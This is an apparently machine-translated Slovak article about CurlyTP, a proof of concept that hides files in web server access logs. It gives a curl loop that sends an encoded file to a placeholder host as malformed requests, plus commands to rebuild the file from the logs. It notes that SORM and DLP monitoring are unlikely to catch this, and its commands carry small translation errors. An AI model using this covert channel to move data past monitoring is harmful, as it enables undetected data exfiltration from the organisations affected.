Výmena tajných správ prostredníctvom protokolov servera

Podľa definície Wikipédie je mŕtva kvapka konšpiračný nástroj, ktorý slúži na výmenu informácií alebo niektorých predmetov medzi ľuďmi pomocou tajného miesta. Myšlienka je taká, že ľudia sa nikdy nestretnú – ale stále si vymieňajú informácie, aby zachovali prevádzkovú bezpečnosť.

Úkryt by nemal pútať pozornosť. Preto v offline svete často používajú diskrétne veci: uvoľnenú tehlu v stene, knihu z knižnice alebo dutinu v strome.

Na internete je množstvo šifrovacích a anonymizačných nástrojov, no už samotný fakt používania týchto nástrojov priťahuje pozornosť. Okrem toho môžu byť zablokované na podnikovej alebo vládnej úrovni. Čo robiť?

Vývojár Ryan Flowers navrhol zaujímavú možnosť - použiť akýkoľvek webový server ako úkryt. Ak sa nad tým zamyslíte, čo robí webový server? Prijíma požiadavky, vydáva súbory a zapisuje protokoly. A zaznamenáva všetky požiadavky, aj nesprávne!

Ukazuje sa, že akýkoľvek webový server vám umožňuje uložiť takmer akúkoľvek správu do denníka. Flowers premýšľal, ako to využiť.

Ponúka túto možnosť:

  1. Vezmite textový súbor (tajná správa) a vypočítajte hash (md5sum).
  2. Kódujeme ho (gzip+uuencode).
  3. Do denníka zapisujeme pomocou zámerne nesprávnej požiadavky na server.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Ak chcete prečítať súbor, musíte vykonať tieto operácie v opačnom poradí: dekódujte a rozbaľte súbor, skontrolujte hash (haš je možné bezpečne prenášať cez otvorené kanály).

Priestory sú nahradené =+=aby v adrese neboli žiadne medzery. Program, ktorý autor nazýva CurlyTP, používa kódovanie base64, podobne ako prílohy e-mailov. Žiadosť sa uskutočňuje pomocou kľúčového slova ?transfer?aby ho príjemca ľahko našiel v denníkoch.

Čo v tomto prípade vidíme v protokoloch?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Ako už bolo spomenuté, na prijatie tajnej správy musíte vykonať operácie v opačnom poradí:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Proces sa dá ľahko automatizovať. Md5sum sa zhoduje a obsah súboru potvrdzuje, že všetko bolo dekódované správne.

Metóda je veľmi jednoduchá. „Cieľom tohto cvičenia je len dokázať, že súbory je možné prenášať prostredníctvom nevinných malých webových požiadaviek a funguje to na akomkoľvek webovom serveri s jednoduchými textovými protokolmi. V podstate každý webový server je úkryt!“ píše Flowers.

Metóda samozrejme funguje iba vtedy, ak má príjemca prístup k protokolom servera. Ale takýto prístup poskytuje napríklad veľa hostiteľov.

Ako sa to používa?

Ryan Flowers hovorí, že nie je odborníkom na informačnú bezpečnosť a nebude zostavovať zoznam možných použití CurlyTP. Pre neho je to len dôkaz konceptu, že známe nástroje, ktoré vidíme každý deň, sa dajú využiť netradičným spôsobom.

V skutočnosti má táto metóda oproti iným „skrytým“ serverom množstvo výhod Digitálna mŕtva kvapka alebo PirateBox: nevyžaduje špeciálnu konfiguráciu na strane servera ani žiadne špeciálne protokoly – a nevzbudí podozrenie medzi tými, ktorí sledujú prevádzku. Je nepravdepodobné, že systém SORM alebo DLP bude skenovať adresy URL na komprimované textové súbory.

Toto je jeden zo spôsobov prenosu správ prostredníctvom súborov služieb. Môžete si spomenúť, ako sa kedysi umiestňovali niektoré vyspelé spoločnosti Úlohy vývojára v hlavičkách HTTP alebo v kóde HTML stránok.

Výmena tajných správ prostredníctvom protokolov servera

Myšlienka bola, že toto veľkonočné vajíčko uvidia iba weboví vývojári, pretože normálny človek by sa nepozrel na hlavičky ani HTML kód.

Výmena tajných správ prostredníctvom protokolov servera

Zdroj: hab.com

Pridať komentár